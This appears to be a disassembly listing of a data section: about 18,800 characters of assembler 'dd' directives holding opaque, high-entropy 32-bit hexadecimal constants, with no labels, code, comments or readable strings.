		dd 0AEA0E4Eh, 6883DE40h, 0FBB6361h, 543D3409h, 3F9980DBh
		dd 0E3817A12h, 4EB84175h, 36600CC1h, 0CBF02A71h, 5E451710h
		dd 0E8B68003h, 0D305C546h, 57E9DF21h, 8852B790h, 1674E4EEh
		dd 985A0187h, 2C35E900h, 8BE0ECA1h, 92321FB0h, 0BC871325h
		dd 4E1A5618h, 0E9C283A7h, 21FC0EE2h, 0D45959B2h, 0C15A52ACh
		dd 849045B5h, 0A8727468h, 70B0CFDCh, 3C848569h,	0C05C89C8h
		dd 184C3743h, 10D90418h, 8585557Fh, 0E8118089h,	2801FB73h
		dd 0BBDE4CE7h, 89C6CC5Ch, 0C7B9E875h, 334F2A8Dh, 50B33FD6h
		dd 895A1492h, 0D90728E1h, 1D40B8F2h, 513F5680h,	2DDAF57h
		dd 9D2FD331h, 64DC6194h, 0B09852ADh, 0C434BD03h, 32B9BA0Ch
		dd 41B4310Bh, 0BB010C56h, 3983256Ah, 0C265629Eh, 0DF012951h
		dd 809A4E2h, 0F2FE328Eh, 56C840ACh, 489802E5h, 69AD2805h
		dd 97E055E0h, 87260545h, 1305586Fh, 506EE306h, 66803B1Eh
		dd 203B9658h, 9C87499Bh, 5745E705h, 0CAB0E247h,	0B4A987F0h
		dd 0C47E02C9h, 0FB184906h, 31FA7C30h, 0DFBA11B3h, 4A306A5Bh
		dd 1658C729h, 89635968h, 2F2C229Ch, 8A836C5Fh, 7E063ADh
		dd 4D63B87Eh, 20DB0E4h,	4C344009h, 45820248h, 97D959C4h
		dd 0C1E5F4A4h, 907E733h, 0B806C502h, 1F0A2CFBh,	9E7040C3h
		dd 0EB107201h, 0E0EB5F07h, 4EE9557Fh, 51CDC089h, 4198DAB5h
		dd 9C5801Ch, 6D9C7CCh, 0EF283D2Ch, 2856DBF2h, 0ADF8E9E0h
		dd 5535689Fh, 48C10FBDh, 0B5A42DB7h, 0E222FAF1h, 6B87E0B6h
		dd 425880DBh, 0B0C7590h, 0C786105h, 496A10AEh, 4C171C1Dh
		dd 0F5E94D42h, 69ACD6A3h, 0F9409C02h, 5A0A3100h, 45C14F81h
		dd 1C4F87FBh, 8A80EFA6h, 0E722A3BDh, 0E5811C01h, 0D321793h
		dd 256E7530h, 0D70C85Ah, 0C4424407h, 41B9E96Dh,	26665C62h
		dd 68C3010Fh, 0D374484Bh, 0F6E9C861h, 0C3801587h, 90E6841Ah
		dd 8875B6B3h, 0D88B80A2h, 621C345h, 754A2818h, 0D8618138h
		dd 6BC703BEh, 0EA355AD5h, 3E560E85h, 9C433CF0h,	4758094Bh
		dd 4FFF9E02h, 73164D58h, 0BABD6079h, 7BE9CF0Bh,	0EDF3B7C3h
		dd 241915B9h, 0A72E4ACDh, 612DF4EEh, 21756131h,	5E58C6E0h
		dd 9DEF0E01h, 5B67C5A2h, 0F7C3807Eh, 5D6898E9h,	0EAB8BD2Eh
		dd 5E819E61h, 0BF0C0BD8h, 7B7B249Ah, 43C7D1A5h,	3809C15Ch
		dd 53396968h, 7DBADA3h,	4713B809h, 0D15312E3h, 7B5B5455h
		dd 0A448038Fh, 3C29DC27h, 0EBCD68D4h, 0E9CE477Eh, 0E5616C16h
		dd 83B95103h, 0EA32B555h, 282D5E03h, 3D317393h,	369681F7h
		dd 168E4C9h, 1C1F94BAh,	998934ECh, 99FC9F8h, 952E796h
		dd 6A458E17h, 0E9C38802h, 3B7883h, 8106EFC1h, 95244CFh
		dd 39A01F4Fh, 0C5A90DFh, 2D263AE9h, 721F47E6h, 0D38B5E96h
		dd 0F9C0014Bh, 0C06A1B17h, 4640C1A4h, 0A2A3060h, 58A68F7Ah
		dd 0FE10BF31h, 8AE04E52h, 4CB04D4Ah, 2744E24Eh,	0F9198B72h
		dd 845692B8h, 0B081EC83h, 0C060AAE9h, 7C92BAE7h, 2EF6CA2Ah
		dd 2FE2F65Eh, 9460EE80h, 0E5B0E861h, 17C9D949h,	0AB82F1F6h
		dd 0F33D41CCh, 41C89620h, 0EE252A1Ah, 572C42B8h, 60CE0750h
		dd 564EE622h, 0E90FC962h, 4F635059h, 4104F029h,	5254A12h
		dd 0A98B840Bh, 59809E1Eh, 0CF4AE022h, 0D6E90B87h, 824EFA45h
		dd 70895FFDh, 0EA68BCDEh, 81E95B02h, 6003DCA5h,	0FE47888h
		dd 5BC286C4h, 37E0BE0Eh, 35BA1512h, 21461B17h, 1F81DCE0h
		dd 397B04E2h, 4709A4Ch,	1CFEFD8h, 0E139D4D1h, 0CC84004Ah
		dd 6C506E63h, 0DC4C883h, 0C9E121E9h, 0D49C88D4h, 0CA1C488Bh
		dd 4FE02564h, 87804FE7h, 0EBE8C1EFh, 0FC3FD0DCh, 68B65FFEh
		dd 0E422F8A5h, 0E23C5284h, 7E67A26h, 0FED6F704h, 0FAD6A56Bh
		dd 0CAD8359h, 6F5764C9h, 0A0AD8B23h, 12FB16B3h,	2CD8013Eh
		dd 10A2688Ch, 0B55E0E4Ah, 6BEBD0CBh, 0C1AD7941h, 5D55F01Fh
		dd 0B9E31D99h, 7110A02Dh, 5D172F7h, 0E95241D9h,	7BDAB869h
		dd 0DB1321E9h, 59CED112h, 0C84AACE8h, 792DE95Dh, 5B3320C8h
		dd 0A831CC68h, 4E7FE95Dh, 92A4F338h, 0C6E08CD4h, 0B95140A7h
		dd 9A39400Ah, 3C1AD273h, 51D2220Dh, 12DCDA12h, 0AC363087h
		dd 25064839h, 0A203C89Fh, 73A12F0Ah, 35081AA8h,	4024F91Ch
		dd 4C4A363Bh, 17EBA025h, 2A75E1C7h, 68FD142Dh, 0F21A132Fh
		dd 741CA25Dh, 62625A28h, 2F0A81F1h, 0DCA36D1h, 9E98F1Ah
		dd 3C97CCCh, 3E3F1CCAh,	832D0C02h, 4552A803h, 0D0EA9032h
		dd 78AA89C1h, 0C82C3922h, 0D828E50Ah, 342519DCh, 9F237AC3h
		dd 83ACFC89h, 3701E9A0h, 309DE995h, 92109CE0h, 16D809DAh
		dd 0F840D7h, 0D60A0505h, 1ABAF66Eh, 0C1090663h,	3D6BC78Fh
		dd 0A3E4FF05h, 893C21D1h, 4C5320D4h, 779AC82Fh,	0C920954Fh
		dd 13C5427Bh, 4D1EBB98h, 0C0E5B832h, 0EE9E6D1h,	504B9914h
		dd 0F373CAAEh, 434C108Eh, 0AEF5810Eh, 0BF3C6F25h, 0F2B6E616h
		dd 0C7025510h, 1985CE9h, 4F5816B9h, 97ED301Eh, 62ED4D05h
		dd 0CDD0D121h, 50480CA5h, 0A57DA58h, 5154E953h,	2FB74225h
		dd 2A2D4000h, 0DE83A39h, 853CA384h, 0CAA0C569h,	109F48D6h
		dd 0C85ED287h, 95AB4577h, 82FF50FAh, 0C058E230h, 91F286B2h
		dd 0B707A0DEh, 4A3AAC67h, 2995D524h, 1A51292Ch,	46F0D5E9h
		dd 784982C1h, 76E6D36Fh, 10EB110h, 5F6DB85Eh, 547F67B7h
		dd 52020750h, 4F906855h, 0C4AF69F9h, 0FAF92672h, 0CBFE9D35h
		dd 5DDC3E6Ch, 0AC60F3C9h, 71512F6Ah, 4305C89h, 0F7FCD436h
		dd 0B69A2C4Fh, 77985C12h, 9A5E80B8h, 62932D5Ch,	52EF5CBFh
		dd 6BC21598h, 0DE1B89C4h, 0F0E05E09h, 174FDB33h, 4208FE50h
		dd 0A08D3EFh, 0FAE98402h, 0DEDCA81Fh, 18A11E53h, 0BCE42772h
		dd 2DE058F4h, 45656899h, 0C211972Ah, 5FD57496h,	2FB85002h
		dd 5E5CF515h, 0DCAE08ABh, 0EDAE1B2Fh, 44175EC1h, 816F9552h
		dd 0D73DABD9h, 0D3165330h, 0E4D7F127h, 5780192Ch, 0E47A1EBFh
		dd 0B98993F7h, 25464CCDh, 50EB92BBh, 0B0E5F7CBh, 5FC6F62Ch
		dd 0C04011A1h, 83FC5293h, 54050092h, 83277E53h,	4E01C604h
		dd 0D69467E9h, 0D2FE77FFh, 0F79146A2h, 92571202h, 49447CEFh
		dd 6C97D814h, 0FCEF5052h, 0F5604B16h, 5E08024Fh, 0A3BA1E44h
		dd 43BB2024h, 5424165Bh, 0E920685Fh, 38C0EC77h,	350D5305h
		dd 942D0763h, 515FB668h, 71627FCBh, 0EED8FA65h,	0EDD14D0Ah
		dd 0FD18C845h, 35CC273h, 51133D6Dh, 0E09CD189h,	543D3AF2h
		dd 0E5E989EBh, 46C31A57h, 2C3EEF03h, 204C5C44h,	97E7843Eh
		dd 81D631D0h, 0B5AF0AF6h, 10B28525h, 0F85D2F2Fh, 0FA489D41h
		dd 18B5FA93h, 4AC0681Eh, 12B0E364h, 1C201BA9h, 7B6FECFCh
		dd 21A5A9Ah, 7F83ADF8h,	840F7960h, 52470527h, 7514F2Eh
		dd 73D00181h, 9B6BB7DAh, 0FBDA07C6h, 7FC84CBFh,	9D15732Dh
		dd 0A68BE98h, 0DF10344Ch, 6F2FBBC1h, 0D03BF3E9h, 5A9C6EFh
		dd 76CEC15Ch, 883F8B8h
		dd 6BB81C00h, 0C0E94792h, 8E919C2Eh, 937E286Dh,	0B689A05Ah
		dd 0C624FD7Ch, 3009937Fh, 457D5ED1h, 0A4C7EC5Fh, 70FDC5C2h
		dd 0E7EF4988h, 0AB2532Dh, 6CB4CD41h, 83CF4A6Ch,	6D2D22Fh
		dd 5ADB0C54h, 1FB205ECh, 6EBF56A4h, 96F62022h, 0D7B05001h
		dd 0C630CBB6h, 0D1100C2Dh, 69905EFDh, 4D886858h, 9885B377h
		dd 17A58706h, 4620F050h, 581E56BDh, 0ABC97C35h,	0C7B5063Fh
		dd 0BB5F5CE6h, 0B80A1815h, 26D90476h, 0AB2957A0h, 31087210h
		dd 0B354F458h, 0BF53CBA5h, 18C5750Ch, 16ED0080h, 5259EB20h
		dd 0C02F79B6h, 90FFF0EEh, 7333037h, 6B9CCF6Bh, 0F73D1209h
		dd 1CC300D7h, 0A2612949h, 0DE9229DDh, 4068E5C1h, 0B0CB818Eh
		dd 4076BD44h, 5621E31Eh, 27E94303h, 0C7891EEBh,	56D71222h
		dd 50C388E8h, 43BDB891h, 58BA1393h, 0FEECCE93h,	5266CD07h
		dd 71E21FB2h, 43E36AA4h, 2D35B8D6h, 803CB824h, 30263F9Fh
		dd 170C7221h, 774FD252h, 0F1F1DBD3h, 0DF309A7Fh, 44BD5B8Ah
		dd 13F002ACh, 0F360A2F1h, 0DBF600BEh, 0C0DDF380h, 7ECF05EBh
		dd 0AEC22796h, 289422CFh, 0AB7743D3h, 832A275Ah, 4C043750h
		dd 0F4E94DB7h, 10146AFh, 3FFC90F1h, 13BC8C5Ch, 47D4E00Dh
		dd 18591ABh, 7F6EF5FAh,	0AE0E5E34h, 4EB105ACh, 5AA463C0h
		dd 554500D1h, 0CE855CBDh, 3FF931FCh, 0A925654Bh, 0E9085679h
		dd 0F6F69342h, 0DD5EF0C2h, 40971194h, 765D75E8h, 83C6D602h
		dd 0DBB35596h, 0FC335F20h, 0CC345A2Bh, 0B34C0FDDh, 95538494h
		dd 527BE10h, 48B0EFC3h,	44203BD1h, 81299001h, 0B074BCF6h
		dd 0A5584513h, 8CB47CEh, 680650E2h, 2F150576h, 0FC4E0783h
		dd 0C01059A3h, 0EB40A9E5h, 0AA01B7DAh, 0C1BBEF80h, 5B97D7C7h
		dd 28293646h, 0B609A7F8h, 22D05201h, 0EEE14C0Dh, 9D659E7Dh
		dd 0CE270945h, 25AA01Dh, 37A5046Eh, 0FE08E9C1h,	5A953342h
		dd 77DCC8h, 4E9A6C0Dh, 0FCA2CB01h, 82F90809h, 6C42817h
		dd 532128EFh, 25BE97B0h, 84A55FD3h, 182981D8h, 0CB092423h
		dd 3AF1E4EEh, 8B3BEB8Fh, 9213CBDBh, 3AE9AE70h, 85C3AAD4h
		dd 2BA1D124h, 0A24ABC37h, 0FFE097A5h, 0D6662685h, 0A8F8AFC9h
		dd 11289C00h, 5E0C127h,	104225E9h, 0E8E0EE1Bh, 0C85A310Ch
		dd 4882AB95h, 0ABC02EA7h, 291B9FB4h, 0C8ACB4Bh,	18329D7Bh
		dd 2148FD58h, 98E90898h, 0EA680F22h, 1C138C13h,	2908F92h
		dd 0EA4A7A78h, 912F0715h, 0B35024BBh, 0D16CF500h, 7038B827h
		dd 0E4E759EEh, 0A0721C69h, 0F537FB09h, 75B88029h, 7586F76h
		dd 0EBC1DBF7h, 20F3B002h, 3F4C0C59h, 7E5C0415h,	0FBE07371h
		dd 0F5642F4Dh, 0F8695A8Eh, 57537C6h, 799E211Fh,	72DC84Ah
		dd 1AD4853Ah, 1F84707Dh, 9A644FA2h, 1A61AA5Ah, 0A8BE9D3Ah
		dd 4F6E793h, 0B13BAAh, 88C6F180h, 4D95F4C8h, 617AE50Fh
		dd 0F69906D6h, 0E8D9C9D1h, 8CBC5BC1h, 74A1D312h, 93C470E2h
		dd 0E9F58656h, 7C980FAFh, 0B1397905h, 0B5C42108h, 46845DB9h
		dd 0B64BDC3Dh, 0B268D0E1h, 0C9F47A58h, 54E042CFh, 0BF84CF17h
		dd 35480433h, 7E6EBB81h, 355A146Fh, 445D3A34h, 0ED93AFFAh
		dd 0C6CBDCA9h, 4CA3C602h, 0C8858BD3h, 0DA3B8892h, 312AA341h
		dd 675FFA3Ch, 0D67310ECh, 2959662Fh, 0FD47A51Ah, 92FC598Bh
		dd 8A6B567Ah, 0D3AA2CAh, 2F3BA03Fh, 674BB502h, 8B49C197h
		dd 9D5E6B34h, 43760DE2h, 1B75358h, 6EFC0AFh, 6B65F780h
		dd 1FA82BC5h, 0E3FF4A7Bh, 4A2E48C4h, 0CDD93756h, 0D36C8225h
		dd 6F24AD8Fh, 15D3826Ah, 0B0BD9CFBh, 11BFF12Dh,	344C5C1Bh
		dd 0B7FE4F2Eh, 2FBA7696h, 0FE9D169Dh, 0C245B53Dh, 9CC8488h
		dd 7600D5F7h, 120A2B22h, 4E18BC90h, 98C2787Ah, 0E35DBCBDh
		dd 0F6EA5B66h, 56A0F844h, 0BD2632A2h, 5E005033h, 0E95D6612h
		dd 0BCF94A99h, 0D2F78473h, 0DD8D4B8h, 914BBDE9h, 8C97ABE3h
		dd 0A127E957h, 0B5215A54h, 97FCEB4Ch, 2FB6F95Eh, 19115839h
		dd 658B3504h, 0C24A0DECh, 0C3A4B439h, 50CBF64h,	0D65E2579h
		dd 0F492BC62h, 526C29AFh, 0E9028719h, 1E407831h, 6677295Ch
		dd 0F3200F9Bh, 0FC1EB5Eh, 0F6F2A068h, 7F129378h, 1A9EDAB8h
		dd 376245DEh, 99BDE4FEh, 0E6454626h, 502816DDh,	0BE595B29h
		dd 0F9255A97h, 0CCD6DE7Bh, 0E4B8A349h, 503A44C4h, 0EA96E0ECh
		dd 98331ABEh, 5CE13118h, 0BED6306Fh, 470B1388h,	0FAA0E94Fh
		dd 0E8C7069Ch, 0C17AC25h, 1E37A802h, 0D0C9E913h, 931CBDBEh
		dd 45326816h, 0DFC084F8h, 811D252Eh, 30FDED00h,	63680FB3h
		dd 606ABC78h, 468F9522h, 59CD3105h, 61BBEB29h, 78C301B5h
		dd 68C0B086h, 51F095FEh, 536A250Bh, 0C33FA53Eh,	94B081Ah
		dd 0FF96C285h, 0E9897115h, 4B6DDA96h, 73ED5EFh,	0D740A8B8h
		dd 71BF7706h, 7B396935h, 640B8BC0h, 0D13C0267h,	1BEDE9E7h
		dd 4B0CE27Ah, 0A608E3C1h, 5A11171Eh, 26E6F937h,	0D8418B90h
		dd 62E84B05h, 9D0FF845h, 0D0C3218Bh, 78288EC1h,	89BBD17Ah
		dd 6F432053h, 0FF2AF868h, 5B86EE20h, 0E631F05Ah, 0E94E0809h
		dd 5DDEA4A8h, 5C12849Ah, 4E44BC52h, 0E229A472h,	0E42F8225h
		dd 0EF6948D8h, 1B4A0066h, 5FF931E5h, 0E916CF89h, 6591F1E1h
		dd 4050898h, 0ABD46B45h, 5F25258Fh, 0D44BECD9h,	81359392h
		dd 0DC71B11Eh, 818029AAh, 0D38909F2h, 45702CEAh, 0C7411790h
		dd 0D58F6FD4h, 5200140Ah, 0E7B5D5B6h, 4513ED80h, 0E08AF528h
		dd 8109E917h, 0DDF33099h, 68CD50E3h, 189F1D8Ah,	929C85Fh
		dd 0F1E92508h, 4E977978h, 29681223h, 31846441h,	7B5DE9A4h
		dd 36EABE61h, 5CCD347Dh, 34CBFDBDh, 50025392h, 0C480FAB4h
		dd 4FC25D4Ch, 0C383017Fh, 0C16E081Fh, 2A06CE3Fh, 6884E6E3h
		dd 0E94A9284h, 6693A45Fh, 8ED7A2D1h, 0D2060500h, 1642E53Dh
		dd 0AE52115Eh, 0E9C23FB3h, 0A2DAEEB6h, 0C094CEAh, 5821D92Dh
		dd 0C1C27E01h, 0F6685103h, 6B61D20Dh, 0FCD03A66h, 9D5356F3h
		dd 70279E00h, 3ACA2062h, 560207C6h, 4530428Fh, 2AD1A51Bh
		dd 61E92A12h, 8034C44Bh, 0B66EFA59h, 2E2D127Fh,	0E3D92008h
		dd 0D21D3423h, 0F94AAF0Ch, 5543B95Ah, 0F2E884BDh, 9432EC4Ah
		dd 0A186125Eh, 597CAEDh, 443B2F7Bh, 4943B4F8h, 44217404h
		dd 0B137B858h, 253E184Dh, 57DE85C9h, 880ECA57h,	1EF0090Ch
		dd 257C66F2h, 4E78DC26h, 0C7303C02h, 90E5D012h,	0C1C08437h
		dd 473B970Ch, 398E302Eh, 0A2A3AF14h, 17137584h,	7CB02504h
		dd 5B08A1C7h, 0E9F15B78h, 273765A9h, 0D92D2D44h, 0CD560C9Eh
		dd 5701BE22h, 0F750CC17h, 0DBF546D6h, 812E9775h, 68351E68h
		dd 0B968C1A2h, 437F6A06h, 60114501h, 12EA2030h,	17123FEBh
		dd 0A129551Eh, 5A0800B8h, 5B0FD889h, 0CCE9C101h, 1F62950Fh
		dd 1F20D736h, 0E96813F8h, 51E32698h, 0A5BEAF09h, 1BCBC5C0h
		dd 735D0350h, 311002C1h, 32A968C8h, 2A6AE3A2h, 0CCEB3A75h
		dd 8FE7853Fh, 93F237E9h, 5A998226h, 9494EF0Fh, 2348A095h
		dd 0A6498D4Fh, 0B609E002h, 0F1883F26h, 94C16CB6h, 0AD000DFEh
		dd 833F2347h, 0F6D101C0h, 0ABF3022Dh, 27E91F9Fh, 9EB58EE8h
		dd 36B25202h, 0F6A9CA80h, 55F492Eh, 30BF59EDh, 5D88680Eh
		dd 52470EB6h, 186E9E90h, 2EB49810h, 4E020C6Bh, 0AC2029EBh
		dd 5450D788h, 0D905582Dh, 95E96292h, 455020D0h,	0F80B19EDh
		dd 14014191h, 19E097F7h, 5E54B068h, 1B29E943h, 0D1A4B927h
		dd 0F4C90112h, 683C8A8h, 0B094EF0h, 5BD61629h, 7CE38A0Ch
		dd 5FFD2921h, 4CC52077h
		dd 3F593520h, 0D2E82111h, 0B110E8F9h, 5488404Fh, 8D0A1159h
		dd 64E2E728h, 531D007Eh, 0FA013B4Fh, 6F4E6468h,	0BF0542F3h
		dd 704B26h, 7DF805D9h, 2D04488Ah, 4560BE3Ah, 0E96102FAh
		dd 0C36A394Ch, 89583257h, 2C0C1187h, 28E8B340h,	0B1513AF0h
		dd 717690F7h, 9CBFB226h, 0E9575018h, 7A9E7D25h,	0F3F0A85h
		dd 0D930ABh, 6AFD756Ch,	8076F381h, 1C44CF3Bh, 1F4B3BCBh
		dd 0F0FB7021h, 0A6A12A1h, 99CB0176h, 6E6E7F33h,	0EAF7A898h
		dd 0E9620BF9h, 0A727ADB7h, 687B29EFh, 41831000h, 2661E981h
		dd 12ADEDFAh, 318A8208h, 75A87A69h, 8CC82A88h, 5AF405Fh
		dd 0D4428394h, 0DA69808Dh, 5AF366h, 3059EDBAh, 975BE92Bh
		dd 0F88C21DDh, 0E4CA63BFh, 3808D8D1h, 0EC98506Ah, 0E088E927h
		dd 58F22D08h, 35052910h, 81A2E01Dh, 2F4663E3h, 4C13EA8Fh
		dd 29A1B4ACh, 8A78B4Bh,	4E7502Bh, 0EEAAA4E9h, 1984A027h
		dd 41BBB0D5h, 0DC687316h, 12E13936h, 20AA339Fh,	74F03509h
		dd 2E29C220h, 0A3DF2B32h, 2DB8814Dh, 0D0446A58h, 95055CEFh
		dd 0C8D9E923h, 4E9734F4h, 75662828h, 4987D8Ah, 669F58C3h
		dd 0E8564A84h, 4789090Bh, 0AAA1610Ah, 4046DB52h, 2E061ECDh
		dd 2840DBh, 66045ED0h, 209A9DE9h, 10EDD252h, 0BB038A90h
		dd 7840EDEh, 3FD1E606h,	90C1E80h, 5B0753Dh, 5952B400h
		dd 0E912433Bh, 6E4E49E4h, 7F7E554h, 5E2E84B4h, 6FA908Eh
		dd 384B8611h, 311C2AF8h, 8C798F8h, 0E97A974Fh, 0F82739DCh
		dd 0EF3B20C4h, 2EBC017h, 0A1C7B184h, 4B9800Bh, 31B753C8h
		dd 87312861h, 0E88301CEh, 0F0FDC96Fh, 0EAA9BA43h, 0DE94DCD3h
		dd 0AD6C7195h, 0D049BDF9h, 0B3312F5Ah, 0AEE245B3h, 94DD78EAh
		dd 526CF90Ah, 680CD84Eh, 5112FD27h, 6EF78BBAh, 0C6480DF9h
		dd 0F72F1E2Ah, 677440D8h, 0F5A1BFFEh, 40084FF0h, 5C94CEC1h
		dd 4E135E16h, 1D110808h, 49CF9356h, 9C5F312Ah, 0D9212775h
		dd 0B49F8864h, 9DE2983Ch, 0B45FA564h, 58C7BBD1h, 1E8BAA14h
		dd 0A52D2D21h, 9895ECF7h, 0C02E8799h, 3C587DE1h, 0C1E96109h
		dd 93D710BEh, 0CF119534h, 0B649705Ch, 0C9972752h, 2BB735Dh
		dd 3811E9CDh, 7995BD0Fh, 47B75AF8h, 9535C17h, 1E48D73Dh
		dd 0D283579Ah, 309E58CDh, 5A5E52ADh, 6304FE4Ch,	8320E8BAh
		dd 904D82FBh, 69438F48h, 8965C801h, 0EA315BDAh,	99290120h
		dd 6650EC4Bh, 771F6512h, 0E89633ACh, 28F08847h,	270F16D4h
		dd 0D5A30FD1h, 0C3722CABh, 0B01F605h, 2F34082Dh, 4D5E96D1h
		dd 3BDAE5F0h, 0B6486A4Fh, 0A27EEA01h, 3552E932h, 0AD7CCB7h
		dd 810209ECh, 0A47E45E7h, 0ADA2DF78h, 2076475Fh, 59EF539Fh
		dd 8D684268h, 9E77700Bh, 0ED515AF8h, 1A8E6841h,	0BF01E14Dh
		dd 6934D74Dh, 0AC7400F8h, 36EA0D1Fh, 5FE67B6h, 4CD1EE4Ah
		dd 827F2834h, 6170C9FEh, 5A44F995h, 0B614D3Ah, 252B42B2h
		dd 0CFA6850Ah, 5FD56858h, 3A7DD912h, 0E7E951CCh, 3512146Ah
		dd 99A7711Ah, 0DE0E1257h, 59D9E80Ch, 5E084268h,	28C6FB80h
		dd 294010B3h, 8EE49244h, 0F690B04Eh, 5A71942Ch,	0A4BC16FFh
		dd 3F2E2DE2h, 25209C72h, 0C3E91709h, 711CD7CBh,	427D5922h
		dd 0DA09F2F3h, 851A4BBAh, 42CC9D60h, 1490E24Eh,	0F0B1FAEFh
		dd 13905408h, 4C6EC766h, 24B5DC16h, 59BEC391h, 4B0483Dh
		dd 660F5FC2h, 0E9AA030h, 45107012h, 0F5216B31h,	0B1541969h
		dd 725F0FEBh, 54543190h, 0DBA6EBECh, 0AF562C2Ah, 41BFACCEh
		dd 1CB194E6h, 1AC9234h,	75C0E6BAh, 0F282C119h, 7074AA72h
		dd 0F1DD691h, 0B491765h, 93BA59DCh, 5FB7E9C3h, 131000F6h
		dd 29590BAAh, 0ACCB0EF7h, 128D8FF0h, 0E84DE8C4h, 0C0532FE5h
		dd 2419106Ah, 141B4907h, 5B0B07F7h, 41A9F921h, 0CB05F526h
		dd 9DBCE862h, 0B600FF8h, 35174144h, 153ED909h, 0AEB88067h
		dd 6985F7FDh, 0FEF63031h, 7AC0F425h, 68129F5Ah,	15451440h
		dd 0CD4E1E6Bh, 48A3E4DDh, 3A1C2788h, 8B176310h,	0E196AC34h
		dd 3F348683h, 827C1219h, 6A10B14h, 0ADBB8F5Eh, 888E00E8h
		dd 0E05966CCh, 9958E8E3h, 5EB26027h, 0CFB0EAC0h, 5BB13020h
		dd 5FE1A057h, 0F8BCCB9Fh, 0C12C3659h, 3315FD0Ch, 83C524C2h
		dd 45B7C57Fh, 0A0A09E59h, 483EBB02h, 553129BFh,	3CD5C7C0h
		dd 682F66BAh, 0BC32F913h, 8837D912h, 6FF252A8h,	38331117h
		dd 0E55E804h, 632E4314h, 0CA25A43Ah, 1BBB04FDh,	235BB0C9h
		dd 1042391Fh, 371ED7D2h, 3605A12Dh, 630662Eh, 6F4F0BEEh
		dd 0A000BF1h, 4E7BC6A2h, 0ECA2294Ah, 0ED0152C9h, 70350773h
		dd 510BC31Dh, 803E0820h, 6506E8E4h, 0FE61B242h,	10F809F2h
		dd 26FE549Ah, 6E7CCA01h, 0F22A3E21h, 0A0882EF0h, 30A96B08h
		dd 0A842225Eh, 0DD213D18h, 0C10C546h, 4D65CF06h, 0B704D30Eh
		dd 0EE017588h, 0D7851EC4h, 0AAC23D64h, 69BE02A7h, 8909827Eh
		dd 0EBAD84F7h, 851427FFh, 0AFC7D58Eh, 0D631DA07h, 0E6C52FA2h
		dd 91209FBAh, 50721947h, 7BD3D4C1h, 0B0402016h,	21F7AAh
		dd 4BEFBB02h, 0EBC1152Ah, 0F305A9B0h, 1ED2DE1h,	0BA0017E1h
		dd 4B7E0FC3h, 1780A875h, 0F2929FCEh, 44CBCAACh,	0E8C107B3h
		dd 0E2C8310Eh, 68E48DAFh, 8774CD58h, 0C1F4A157h, 73F5F8E1h
		dd 0EEE5852Bh, 8BBE3674h, 0BE84247Eh, 4EB098Bh,	0C4E210CDh
		dd 9CC8850Fh, 7EA1C06Bh, 24F3295Eh, 0FB975005h,	8AE94218h
		dd 0BD013BDCh, 75C813C4h, 8D8CCC3Fh, 3DF8844Ah,	0BC8A68B7h
		dd 0F20873CAh, 87F02DFDh, 3D0120B4h, 0F301704Eh, 66C69F7Ch
		dd 6CFDD28Fh, 0DA915B42h, 0E938D768h, 0B9C054C9h, 3A2E4F32h
		dd 2C036D2Eh, 580A020Ch, 0B124950Ch, 0E7F51C76h, 6DED3254h
		dd 4EE4C4FBh, 25E42A68h, 0FCFF4A30h, 1EE9C6C4h,	0BFFB8091h
		dd 4FF1242Ah, 36E300AFh, 0F231010Eh, 0BA63608Ah, 805880B6h
		dd 0EEE7C32Fh, 0B0B081F7h, 0E9FCB261h, 43235F7Eh, 7306A774h
		dd 0F5F52991h, 0D2C3475h, 87688A03h, 0F8E0C146h, 1EE27F2Dh
		dd 6589A9DEh, 30BD06ECh, 803F4272h, 0DA073459h,	282FC780h
		dd 7026AB3Fh, 5B5E261Bh, 31110945h, 163C6651h, 0AEACDA3Bh
		dd 53EFE4B4h, 57A189B5h, 97B8825h, 0F7E220D0h, 4A2087CEh
		dd 0B25200F1h, 95C28046h, 9B7EB353h, 7918BF27h,	0AE153C36h
		dd 0ED38872Dh, 7F7B3B89h, 0F92409D5h, 0EF71492Eh, 94E95C82h
		dd 411F7F0h, 87936B68h,	0A1F5F158h, 1C994B3Fh, 14C04412h
		dd 1BC1FC01h, 1193C981h, 0EBF49D5h, 0A6C2318h, 4F78C8C1h
		dd 51553F59h, 8964ADA3h, 0BF20DD8Eh, 7F685351h,	488C3312h
		dd 26050E0h, 0E9051C27h, 1CF7CD58h, 984EB535h, 20EA6EA8h
		dd 0E97C6106h, 711C30E2h, 0C58CA045h, 778D0C42h, 8F5AE5C1h
		dd 643EA841h, 8411B83Eh, 680082B7h, 46E1399Fh, 0CE4F5F26h
		dd 70BA2925h, 1A62B5E9h, 70003756h, 0E9526BA2h,	248560F6h
		dd 9141BBDh, 0E9B0774Ah, 0F8D74A87h, 0D7578E67h, 34FCB304h
		dd 43E6C218h, 0A51FF23Dh, 0FBCE09B2h, 0E12A3ED3h, 0D50826F7h
		dd 5FA410E0h, 53CDD6F3h, 0EBBAA9C9h, 1331FB84h,	0D2406387h
		dd 990403E9h, 0A125BC9Dh, 33AC1F0Fh, 0F07C0141h, 6312874Ah
		dd 0E5840A64h, 58C5B5C0h, 44461774h, 4D680929h,	0B18ADA58h
		dd 0B04A1CD5h, 7566AA53h, 7D1CC400h, 0E39D384Bh, 881204F6h
		dd 0E053FCB5h, 444A2947h, 0F1F53625h, 4B05DE60h, 2FC6C998h
		dd 79D45BF3h, 9807327h,	0C10839B0h, 29BAD7F2h, 0CF580CBCh
		dd 9A0A4BCh, 0FB85105h
		dd 33CF0Dh, 0D7F707FFh,	0A0040AD6h, 4BFF438Bh, 1791EADh
		dd 0C510549h, 4B1B3738h, 101FDCECh, 6D084A91h, 89BE0181h
		dd 7A70CC78h, 0B0EE4C0h, 0B951022Bh, 414520B7h,	0D724EC7Ch
		dd 6C737685h, 7D784EE8h, 8F562D1Ah, 4A27E1FAh, 0F68F6E11h
		dd 5FA095D3h, 6E0756EAh, 104B6C58h, 6817ACFAh, 0E1A88D5Fh
		dd 6B363E01h, 70439F49h, 68511304h, 34BC1E4Ah, 0EB61EEF4h
		dd 0CD2A8CE9h, 2E9F30BDh, 6ECC09BDh, 0AE681656h, 0C04CA864h
		dd 74A55801h, 15F327E9h, 6858C6F9h, 2271556Ah, 5392252Ch
		dd 0AE51043Dh, 0F78100F6h, 60544BB9h, 47C10C7Fh, 0E7F8525Dh
		dd 0C03AE609h, 9D90011h, 0BEBAEAE0h, 9F9608D3h,	0E9535B0Eh
		dd 21572278h, 5A9855D0h, 0EC955451h, 49E97782h,	3101290Dh
		dd 0CF8158C7h, 56133085h, 834680C1h, 0F02EB491h, 9502BA52h
